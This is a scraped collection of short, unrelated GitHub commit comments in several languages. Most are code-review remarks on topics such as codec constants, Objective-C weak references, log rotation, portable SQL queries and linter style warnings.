Don't #if 0 more code. This is what revision control is for. If others want this code to be switchable to conduct further experiments, it should get a named #define controlling all the blocks that need to be flipped on/off.


You can always try accessing the 'm_recentMessages' directly, i.e. via
```
(MessageBase[]) typeof(MessageManager).GetField("m_recentMessages", BindingFlags.NonPublic | BindingFlags.Instance).GetValue(MessageManager.instance)
```


It seems deeply unfortunate that WIN32 has ended up meaning "Windows 32- or 64-bit" but WIN64 means "Windows 64-bit"...


Метод по прежнему реализован неверно.


Wrong check setting order. It was too late.


А этот верно... Почему не ясно...


На какую очередь возвращается управление?


Эта да...уже поправили...)
21 марта 2015 г. 19:29 пользователь "Maxim Zabelin" <
notifications@github.com> написал:

> Артем, зачем тебе указатель на NSInteger?
>
> —
> Reply to this email directly or view it on GitHub
> <https://github.com/bukshev/Shopping-List/commit/9d76e2ddca14072fe4567fed3b694dca150ea022#commitcomment-10329173>
> .
>


Maybe if we just ``impot get_ipython`` all work?

I will try as soon as get home.


Ого! Это еще что за "зверь"?


Add:
4. A Nema 17 sized stepper motor connected in bipolar (4 wire) mode. 1.8deg per step. (200 steps/revolution)
   Example:  http://www.mpja.com/Stepper-Motor-NEMA-17-12VDC/productinfo/19447%20MS/


We have elsewhere been consistent about using "rows" and "cols" in the filter function name to refer to what is getting filtered (i.e., filtering along rows of pixels or columns of pixels). I was quite sure from reading the names that these were in the wrong order for best parallelism, until I read the code and found out that "od_apply_filter_sb_rows" applies the filter to columns of pixels and vice versa.


Почему не написать просто NSString *__weak? И вообще, зачем использовать __weak в данном контексте?


В конце файла достаточно 1 пустой строки.


Hi, it seem I have the same problem with galaxy s2, how do I find the fstab.geehrc? Thanks, Viktor


Не спорю...тоже правили...
21 марта 2015 г. 19:32 пользователь "Maxim Zabelin" <
notifications@github.com> написал:

> Ого! Это еще что за "зверь"?
>
> —
> Reply to this email directly or view it on GitHub
> <https://github.com/bukshev/Shopping-List/commit/9d76e2ddca14072fe4567fed3b694dca150ea022#commitcomment-10329187>
> .
>


copy file is worst than rename in this case. Actually, renaming is exactly what should be done. Could you please remove this comment ?


Please don't use a hard-coded 32 here instead of some named constant (like OD_BLOCK_SIZE_MAX, which already exists), especially since Nathan is now starting to experiment with 64x64 blocks.


The build scripts hack around pkg-config to not need it at all. I'm not 100% sure it breaks the build scripts, but I wouldn't be surprised :)


Не понял...это сарказм?
21 марта 2015 г. 19:31 пользователь "Maxim Zabelin" <
notifications@github.com> написал:

> А этот верно... Почему не ясно...
>
> —
> Reply to this email directly or view it on GitHub
> <https://github.com/bukshev/Shopping-List/commit/9d76e2ddca14072fe4567fed3b694dca150ea022#commitcomment-10329182>
> .
>


Да....я уже понял что все таки ч асинхронными вызовами печаль...
21 марта 2015 г. 19:31 пользователь "Maxim Zabelin" <
notifications@github.com> написал:

> На какую очередь возвращается управление?
>
> —
> Reply to this email directly or view it on GitHub
> <https://github.com/bukshev/Shopping-List/commit/9d76e2ddca14072fe4567fed3b694dca150ea022#commitcomment-10329184>
> .
>


Can you _please_ document the process by which these constants are derived? The bus factor here is ridiculous.


Нет, это мысли в слух. Мне просто не ясно, почему один асинхронный метод написан некорректно, а второй корректно. Кто тогда автор корректной реализации?


@exalted: not bad! I'll consider it when I'll touch this code again. In the meantime, please feel free to open a pull-request :wink:


Этот класс полностью писал я...
21 марта 2015 г. 19:36 пользователь "Maxim Zabelin" <
notifications@github.com> написал:

> Нет, это мысли в слух. Мне просто не ясно, почему один асинхронный метод
> написан некорректно, а второй корректно. Кто тогда автор корректной
> реализации?
>
> —
> Reply to this email directly or view it on GitHub
> <https://github.com/bukshev/Shopping-List/commit/9d76e2ddca14072fe4567fed3b694dca150ea022#commitcomment-10329209>
> .
>


The call to od_compute_dcts() got moved into an if(!OD_DISABLE_HAAR_DC && mbctx->is_keyframe) block, but this is just in an if (!ctx->is_keyframe) block. That means when OD_DISABLE_HAAR_DC == 1 and ctx->is_keyframe, we will not compute the fDCT in either place. Is there any reason to not just fix that here?


Это не печаль, - просто нужно документировать методы хорошо. Тогда у меня не будет вопросов. В данном контексте, поскольку нет документации, я бы предположил, что я буду должен взять на себя ответственность и переключиться на нужную мне очередь в реализации completion. А вы этот фактор учли?


:-1: Haha!


Commit Comment


webpage that sorts students in a study group


Since OD_DUMP_COEFFS was implemented in od_compute_dcts(), it now only works for keyframes. What is the plan for fixing this?


Initial commit containing package, emmet and theme


Хорошо, тогда нужно исправить метод -open...


Grammar error in the commit message.


Hi @nirvdrum
I think I'm seeing a findbugs error around here
```
H I Dm: Found reliance on default encoding in org.jruby.truffle.nodes.core.StringNodes$DumpNode.dump(RubyString): String.getBytes()  At StringNodes.java:[line 1765]
```


See previous comments about macro-ifying this, so we don't have the same code in 5 different places.


Line Comment


This is kind of intrusive to pull it upstream :P


Spaces around -.


Почему бы не написать просто NSUUID *__weak wCode = code;? И вообще зачем тут нужен  __weak?


Not sure why I used `atom.sh` instead of `atom.exe` here, but it had a reason I believe


I replaced those with admin1 admin2 to avoid giving privileges to ourselves in default setups.


Hi @jeromenadaud ; why not move this inclusion of the JS file into the controller ?


Will do :-)


These are terrible names. What is the state of the encoding process that is being checkpointed in each one? Maybe pre_encode_buf and post_nosplit_buf?


These are really too big to live on the stack. Also, please do not hard-code 1024.


I prefer the relative path it is simpler and works even if you decide to change the directory of the rendezvous


I'll try playing around with that, thanks for the suggestion!

Date: Sat, 21 Mar 2015 06:30:15 -0700
From: notifications@github.com
To: SuperChirperMod@noreply.github.com
CC: lucasj94@hotmail.co.uk
Subject: Re: [SuperChirperMod] Added FilterButton. Using Clear for mute. Added sound functionality. (2ae28fb)

You can always try accessing the 'm_recentMessages' directly, i.e. via

(MessageBase[]) typeof(MessageManager).GetField("m_recentMessages", BindingFlags.NonPublic | BindingFlags.Instance).GetValue(MessageManager.instance)

—
Reply to this email directly or view it on GitHub.


字符


The title should be something like the course name,  Rendezvous and its version are already present!


随机函数


Why???


Как и в случаю со строкой
.. Для того чтобы использовать её в блоке...
21 марта 2015 г. 19:42 пользователь "Maxim Zabelin" <
notifications@github.com> написал:

> Почему бы не написать просто NSUUID *__weak wCode = code;? И вообще зачем
> тут нужен __weak?
>
> —
> Reply to this email directly or view it on GitHub
> <https://github.com/bukshev/Shopping-List/commit/bb3cf0865ae1b952949d4aed62e6dbdef5d09f0b#commitcomment-10329236>
> .
>


Spaces around + and -.

Where does the constant 1 come from? You change it to 16 later in the middle of a series of what look like otherwise completely unrelated changes with no explanation.


code looks good. :)


随机产生含有6个字符的字符串


Line Comment


Where does this 0.125 come from? If you're just compensating for the resolution of od_ec_enc_tell_frac(), can you please divide by (1 << OD_BITRES)?


Thank you for this comment.


BTW, you could also do something like:
if (boost::filesystem::exists("log2.txt"))
   boost::filesystem::rename("log2.txt", "log3.txt");
if (boost::filesystem::exists("log1.txt"))
   boost::filesystem::rename("log1.txt", "log2.txt");
if (boost::filesystem::exists("log.txt"))
   boost::filesystem::rename("log.txt", "log1.txt");

Renaming a non existing file may not throw an exception but IMHO, it is safer to check if the file exists/
This way, we would have the 3 requested logs ^^


获取随机颜色和对某一颜色取反色


How do you secure that so that noone else can push (containers|packages|artifacts)? If we're using Travis free then there's no secrecy.


设置输出类型，必须的


Is this the only thing enforcing the OD_LIMIT_BSIZE_MAX limit with RDO? Because if so, I think this is wrong. The correct thing to do is to not even bother to check the nosplit case while d > OD_LIMIT_BSIZE_MAX. The RD-optimal solution to the dynamic programming problem with block sizes strictly less than the current d may have split some of the blocks further, but you've wiped that state out.


И какую это дает выгоду? Я бы наоборот сказал, что сюда надо передавать сильную ссылку. __weak нужен для того, чтобы разорвать циклические ссылки. А где в вашем случае циклическая ссылка?


It's spelled "deprecated" (with an e)


How is the rdo_only flag different from the rdo flag? Can we use a consistent name if they are referring to the same thing?


Long line.


Why open close and reopen? You can do better ;)


Overall, the ability to e-mail an ical is interesting.

Please see inline comments for details.


Nit: `xrange` in python 2.


Here I agree a flag parameter makes sense, but I would still like some named #defines for each case so it's easy to see from the caller what is going on.


With the above, :+1: from me, thanks!


See previous comment about #if 0'd code.


Text is fine and readable from every e-mail client in the world.  The links should be automatically detected by the client so I don't see why we should complicate things with HTML.


I'm pretty sure you don't need the PNG_CFLAGS or PNG_LIBS here.


It was updated me thinks, `EmScheduler` doesn't exist anymore, and when I tried it with `.start_new` it threw a deprecation warning to use `.new` instead.


We have a #define for this that is not hard-coded to a constant, OD_BSIZE_MAX.


Nice catch, fixed it upstream along with another left over...


yus.

Complaints aside, why does it even...


It's interesting to see that this commit can still be commented on even though I rebased my branch and removed it :-)
@Bertram25 WDYT, should we go for three logs, or only one?

If agree that a check for existence would be nice, the documentation for boost::filesystem::rename does not tell what happens if the first argument is invalid: http://www.boost.org/doc/libs/1_55_0b1/libs/filesystem/doc/reference.html#rename


SIZE of what? Also, possibly the single #define most likely to collide with something in a platform header I've ever seen.


We should make version a variable!


You should #include string.h yourself instead of relying on odintrin.h to do it.


LGTM
It would be good to get this tool to accept a list of font URLs from the command line so others can use it to embed their own. If this were the case, I'm not sure that keeping the fonts in gxfont would be preferable to just embedding the default fonts into the theme.


This should be read from the database, otherwise it seems useless.


Is this just selecting between a 1-D and a 2-D version of the code? If so, can you either make it possible to run either version from the command-line, or just delete the 2-D version? You shouldn't have to edit source code for this kind of thing.


(ignoring additional size bumps, of course)


Same as above for math.h.


当我们隐藏Toolbar时在list上会出现一个空白区域。


s/infalte/inflate


Long line.


Why direct people to https of a static webpage? If someone is watching he can just see the paths and get the content anyway.


Looks like a good logic cleanup.

The mIsWorking member naming is a bit funny but I can understand naming is everything but simple. I'll think about it.


创建一个彩色图片


Shouldn't this be `needsSemi = true`? `export default createDefaultModule();` etc can end with a semicolon.


获取绘图对象


No blank line. If you feel it needs separation, add a comment.


would it make sense for functions like this to use a signature like:

```haxe
public static function eval<T>( e : ExprOf<T> ) : T;
```


No blank line.


Dang it, I had seen that bug before, I'm almost sure of it! :)

Must have a been painful to fix while trying to work on saves.
Nice catch and fix.


69绘制背景，71绘制字符，72~74绘制噪点


Ну тогда получается с модификаторов weak чаще всего будет self...потому как
циклическая ссылка там и будет если self использовать в блоке...
21 марта 2015 г. 19:47 пользователь "Maxim Zabelin" <
notifications@github.com> написал:

> И какую это дает выгоду? Я бы наоборот сказал, что сюда надо передавать
> сильную ссылку. __weak нужен для того, чтобы разорвать циклические ссылки.
> А где в вашем случае циклическая ссылка?
>
> —
> Reply to this email directly or view it on GitHub
> <https://github.com/bukshev/Shopping-List/commit/bb3cf0865ae1b952949d4aed62e6dbdef5d09f0b#commitcomment-10329270>
> .
>


Can you please update the unix Makefile as well?


Spelling error in the commit message.


Shouldn't this be `C-u k`?


> Must have a been painful to fix while trying to work on saves.

Yes because the stack was not very helpfull. But by adding many logs I could figure out what was happening


Please document what's being returned here. It is not at all an obvious thing to return from this function.


Ditto.


Oops :)


Именно, - дело говоришь! Есть пара исключительных случаев, но в большинстве случае все именно так, как ты говоришь.


> I can understand naming is everything but simple

Yep. Sometimes, I miss inspiration ^^


My apologies :-/


Is this only covering the lossless case? It seems to me od_pvq_encode() already has to handle this correctly (but the return value there is not documented, so I have no idea). Ideally, the two functions would handle it the same way, but od_single_band_lossless_encode() currently doesn't know whether or not Haar DC is enabled. It'd be good to at least add a comment stating the conditions under which this override is necessary.


Document the return value.


Blergh. Please make a new variable for the return value with a sensible name. An optimizing SSA compiler will do the right thing anyway.


hi, how do I download the jar? Thanks :)


That's an interesting question.


For the record, in the biggest logs I reached (1 hour of gaming) I hardly have 2Mb logs. keeping 3 seems acceptable to me


居然能预览pdf @yht1995


Ok, I'll add a new commit similar to your proposal.


I don't think self.n_short is necessary. Every transformer needs to account for the normalization factor of each quantity separately. I.e. if TICA has counters N and Ntau, that should be sufficient.
Avoid distributing information over 2 classes - hard to debug.


You can just add the new text in a second commit here (and then push the new commit). There's also a way that you could amend this commit so that you wouldn't need to create another one, but one step at a time :)


Thanks.  I copied it from JRuby and didn't even think to run FindBugs on it.  My bad.  I've pushed a fix now.


It would be good style to name the arguments of constructors logically.


CHECK


no need to check possible types of `$token` like in `isUnaryPredecessorOperator` ?


@bssthu
refer to
https://github.com/blog/1974-pdf-viewing


efefdssdfdsfsdf


Only For Search My ID


I'm not sure what do you mean? Possible types of `$token` are checked above:

```php
if (!$token->isGivenKind(array(T_INC, T_DEC))) {
```


yes... fixed, thanks!


Comment is on line 625. Diff will be better with old code in place.


获取mFabButton的引用


s/uri/URI/


s/mopidy/Mopidy/


并且把PaddingTop的值设置为Toolbar的高度


fingom sincs mit csinálok


Done.

To try and keep the commit history clean I have been using "git commit --amend && git push -f" into crawshaw/gxui, which means the merge doesn't include a bunch of junky intermediate patch versions, but makes it much harder for me to find these comments after the push.


In latest version of pocketmine soft is missing check movement option.


minor: unused import


Hi Das, I want to add twitter streaming API for python. I am new here, would you able to give me some idea how to add twitter python API.


Available doesn't really like you


oups sorry... forgot to push the new template file... should work if you pull now


@eliz79 On the money! Looks good!


Finally! Lol.

On Mar 21, 2015, at 10:20 AM, Chad Heuschober <notifications@github.com<mailto:notifications@github.com>> wrote:

@eliz79<https://github.com/eliz79> On the money! Looks good!

-
Reply to this email directly or view it on GitHub<https://github.com/eliz79/is210-week-08-warmup/commit/7e05d29de3c1847076e5364329342c9954d69539#commitcomment-10329408>.


I wanted to take a look at this but couldn't reproduce this BTW


Course Project
+
+You should create one R script called run_analysis.R that does the following.
+
1. Merges the training and the test sets to create one data set.
2. Extracts only the measurements on the mean and standard deviation for each measurement.
3. Uses descriptive activity names to name the activities in the data set
4. Appropriately labels the data set with descriptive activity names.
5. Creates a second, independent tidy data set with the average of each variable for each activity and each subject.
+
+What you find in this repository
+CodeBook.md: information about raw and tidy data set and elaboration made to transform them
+README.md: this file
+run_analysis.R: R script to transform raw data set in a tidy one
+
+How to create the tidy data set
+1. Download compressed raw data
+2. Unzip raw data and copy the directory UCI HAR Dataset to the cloned repository root directory
+3. Open a R console and set the working directory to the repository root
+4. Source run_analisys.R script (it requires the plyr package): source('run_analysis.R')


These two lines could be deleted.


Formatted for better reading.


因为RecycleView会默认裁剪到子View的padding区域


成为


Steve,
  I was able to reduce the code quite a bit once I changed the "update_cards" method in the RunOfCards class to return the unique cards it had added to the run.  I have a boolean flag as the second parameter to "update_cards" but I am not sure if this is necessary or not or if I should use a hash as an argument to make the method call a bit more descriptive -> runs[rank].update_cards({updated_run: one_run_of_cards, return_unique_cards_added: true}).  Any other observations/comments would be welcome.  I am pretty sure I can get all the work I need to get done before my brother arrives on the 29th of March.  I will be focusing on the view and reviewing Rails when I have the time and when I am satisfied with my work in those two areas, I will turn to the model and continue writing tests.  Right now my progress is skewed too much to the model.


Yes, after I did the commit, I couldn't figure out anywhere how to add the
part I forgot after the fact. I would actually like to be more specific on
the stepper motor, but it seems the place I got it doesn't carry it
anymore. So, go ahead and merge what we have, and when I get the info I'll
add it then. I'm still pretty confused on the terminology of what does what
(fork,branch commit pull, etc.)
-I want to add a photo of the initial assembly as we had it at the last
meeting just as a start - I will (attempt) to do that when I commit the
above.

-I also have Github (for windows) on my desktop, but don't quite see how it
ties in with the online version yet. Maybe we can go over this on Projects
night if I can't figure it out in the meantime.(There's lot's of online
help - I know.)

On Sat, Mar 21, 2015 at 10:06 AM, Joseph Method <notifications@github.com>
wrote:

> You can just add the new text in a second commit here (and then push the
> new commit). There's also a way that you could amend this commit so that
> you wouldn't need to create another one, but one step at a time :)
>
> —
> Reply to this email directly or view it on GitHub
> <https://github.com/petermbell/telepresence-brain-arduino/commit/e3f7aab77781628cf2d0c247b838b556f56c3014#commitcomment-10329360>
> .
>

--
-- * Peter Bell*


You can comment on this if you want.


@pfalcon FYI.


Fixed hardcoded MRT_Clock_MHz so that the code will also work at a SystemCoreClock different from 30MHz. Optimized time calculations for us_ticker_read. Same modifications as done previously for LPC812.


This is all fine, but as Jim implies we're adding fuzzy comparisons to afw precisely to allow this sort of thing to be done in memory (as is the LSST way), and the use of numdiff should be marked as deprecated in a low-priority issue.


Sure thing. Okay, merging now.


I (ab)used the same context as the shell is running as.


Will do.


rsdgkh;kljghdhgcjglkbkln


你这里也是修改输入参数shift吧


Wouldn't it be even 'more correct' to divide by the framerate?


Next time we remove a component can we install a dummy that prints a helpful message?


Je ne crois pas, mais il fallait inverser le sens de la recherche d'object dans radius.
Je n'ais pas mis la rétractation, l'image aurait été dans le mauvais sens et c'était superflu.


Please open an 'issue' for this problem.


absolutely! :+1:


Unnecessary spacing detected.<br>Put one space between the method name and the first argument.


Use 2 (not 1) spaces for indentation.


Extra empty line detected at block body beginning.


Extra empty line detected at block body end.


Unnecessary spacing detected.<br>The first argument to describe should be the class or module being tested.


Use 2 (not 1) spaces for indentation.<br>Tab detected.


Tab detected.<br>Trailing whitespace detected.


Tab detected.


With these changes you can use python setup.py test to run all the tests.


If anybody at WisePay's reading this, get in touch at me@iamkelv.in. Your addition of "<!--scrapelog-->" with a randomly generated comment suggests that you might not like people scraping from your site.


why not:
```python
if BinaryField:
    class BinaryFieldsFilling...
```


This is super cool..  I wonder if this will also fix the problem with 2272 and v39 when a popup happens it also changes the main url in the example C# Winforms.


You right, I wasn't paying to much intention to the output more just looking at the loop it self.


Ahh ok ... yeah that happens sometimes. So i can delete it. Preformance boost incoming ^^


done to here


Weird added empty line, remove it?


I mean that we really want to accept all kinds of tokens here except that 2 ?


Enviando comentário pelo aplicativo mobile.


@MineStarPE 한글로...부탁...


@daveaton, It certainly should fix that problem as well. DevTools is opened as a popup.


@lodoyun Hi! I am trying to make work a Licode based app inside IOS with openwebrtc, right now I am running into serveral problems, can you give me some advice about the steps to make a Licode app work with Openwebrtc/bowser? Did you end using owr.js? There is a guide to follow?

Thanks!


This fixes #5


thank you. when i cmake the pcl1.8, I set the PCL_ONLY_CORE_POINT_TYPES off, but why the pcl just use the core pointclouds when I compile my own code?


Just knew that. Thanks!


Line is too long. [101/100]


Final newline missing.


Just a thought. We not make all flyspray queries practically database independent already now. Those 5 places I mentioned are:
Backend::get_task_list: Postgresql needs a few more terms in GROUP BY clause. Probably other databases too. Should probably do no harm to mysql either if those terms are included in query. Could you check, I've got no mysql flyspray database available. The test is made on line 1491 in includes/class.backend.php.
Project::getActivityProjectCount, User::getActivityUserCount: There's no reason at all to convert event_date from seconds to a date. Just give $startdate and $enddate as seconds.
Project::getDayActivityByProject, User::getDayActivityByUser: The same as in previous applies here too. But then there's the grouping by day. No way to convert seconds from unix epoch do date in a database independent way. But... these functions have not to be really exact, the results are used only to draw those two activity lines in project overview. Because most projects have relative low activity around midnight, a solution that doesn't account for daylight savings time change should be good enough. Compare these two approaches, change project_id according to your needs.
Original:
```
SELECT count(date(from_unixtime(event_date))) as val, MIN(event_date) as event_date
FROM flyspray_history h left join flyspray_tasks t on t.task_id = h.task_id
WHERE t.project_id = 27
GROUP BY date(from_unixtime(event_date)) ORDER BY event_date ASC
```
Database independent, slightly inaccurate:
```
select count(cast(event_date/86400 as integer))  as val, MIN(event_date) as event_date
from flyspray_history h left join flyspray_tasks t on t.task_id = h.task_id
WHERE t.project_id = 27
group by cast(event_date/86400 as integer)
order by cast(event_date/86400 as integer) ASC
```


Nice!


这个没看懂。。。不是向右移动shift 位？


Can you squash this? It is also weird to see the self reference duplicating the commit in the pull request history.


Extra empty line detected at block body beginning.


The first argument to describe should be the class or module being tested.


On Fri, Mar 20, 2015 at 5:59 PM, John Snow <notifications@github.com> wrote:
>
> No real reason other than Python keeps fooling me into just writing down what I was thinking in English, because that's valid syntax. I find myself thinking "If x is true: ..." and magically that happens to be python syntax.

Careful, it doesn't coerce to bool like you'd expect:

>>> if len([1, 2, 3]): print 'ok'
ok
>>> if len([1, 2, 3]) is True: print 'ok'
>>>

So it can lead to subtle bugs.


What, har den slutat fungera, igeeeen. Måste verkligen skriva om den där
skitkoden :P
Den 20 mar 2015 18:08 skrev "Carlgo11" <notifications@github.com>:

> Tyvär kunde jag inte ta bilden utan att jag kom med.
> [image: screen]
> <https://camo.githubusercontent.com/e3660ace33832d383a4d246556f72edb740f870b/687474703a2f2f692e696d6775722e636f6d2f48677577384f522e6a7067>
> [image: screen2]
> <https://camo.githubusercontent.com/0b7bd8bd060f89d2cf5931287ec3cf7618d118af/687474703a2f2f692e696d6775722e636f6d2f344554674166592e6a7067>
> Den är bra när den funkar (aka när inte @willeponken
> <https://github.com/willeponken> fuckar upp den)
>
> --
> Reply to this email directly or view it on GitHub
> <https://github.com/htsit/kioskbot/commit/65f864cebdb02154e7a7d00a32b06d3304841c04#commitcomment-10320541>
> .
>


finally done successfully!


to here


> why is the first terrain just a string while the second is an object with a string as a value for the "ter" key?

Because both formats are possible and this line checks that. The object format is consistent with the other things like spawning an item from an item group (which requires an object). You can write it without the object, it's equivalent: `";": [ "t_door_o", "t_pit_spiked" ]`

All things (that can be put on the map) must be created through an object anyway when using the `place_*` syntax, the coordinates are part of the object there:
```JSON
"place_items": [
    { "x": [1,19], "y": [1,4], "items": ... },
    ...
]
```
As such, one can put furniture and terrain like this:
```JSON
"place_terrain": [
    { "x": [1,19], "y": [1,4], "ter": ... },
    ...
]
```
There is common code that handles the x, y values (the "where") and forwards the json object to a function which loads the "what" (the terrain in this case). The same function loads the entries from the terrain mapping (the "what") as such it allows an object there.

There is special code to understand a single string for backwards compatibility and because for terrain / furniture / traps there is no need for more data anyway. Things like items can have a chance or additional properties and that requires a json object.


Thanks!


Rob, I like it. However, instead of modifying the conversion.py class, have a look at how we solved it in the discovery community. Just prepend the introduction message with the custom stuffs, and call super with a higher offset. Then you don't need this conversion.py hack.
https://github.com/Tribler/dispersy/blob/devel/discovery/conversion.py#L112


Some unit tests are failing and I see this. How would I fix that?

Note: Google Test filter = WaterCoilsTest.WaterCoolingCoilSizing
[==========] Running 1 test from 1 test case.
Program terminated: EnergyPlus Terminated--Error(s) Detected.
[----------] Global test environment set-up.
[----------] 1 test from WaterCoilsTest
[ RUN ] WaterCoilsTest.WaterCoolingCoilSizing
**FATAL:Program terminates due to previously shown condition(s).
EnergyPlus Run Time=03hr 58min 36.01sec

On my PC is runs OK:
![unittests](https://cloud.githubusercontent.com/assets/5778156/6765473/10225c76-cfb8-11e4-9db9-f72a438268ef.jpg)


No, we only accept that 2!?


Samba must be version 4.2.1 or higher to use this feature.

:) ?


sadadsads


asdas


Nice. thanks for using objectization here and not yet another vector.


of the data matcher plugin.


@gmbnomis thanks for your feedback and sorry for taking so long to reply!

Yes, you are correct, `-S` and `-G` are not directly equivalent. However, in practice I haven't found the difference to be meaningful in any of my workflows; and further, I can't think of a way of editing my post to be more precise without diluting the main message.


ERROR()


Description needs to go one a NL, and end with a trailing point.


oops!

typo in the title. improvement*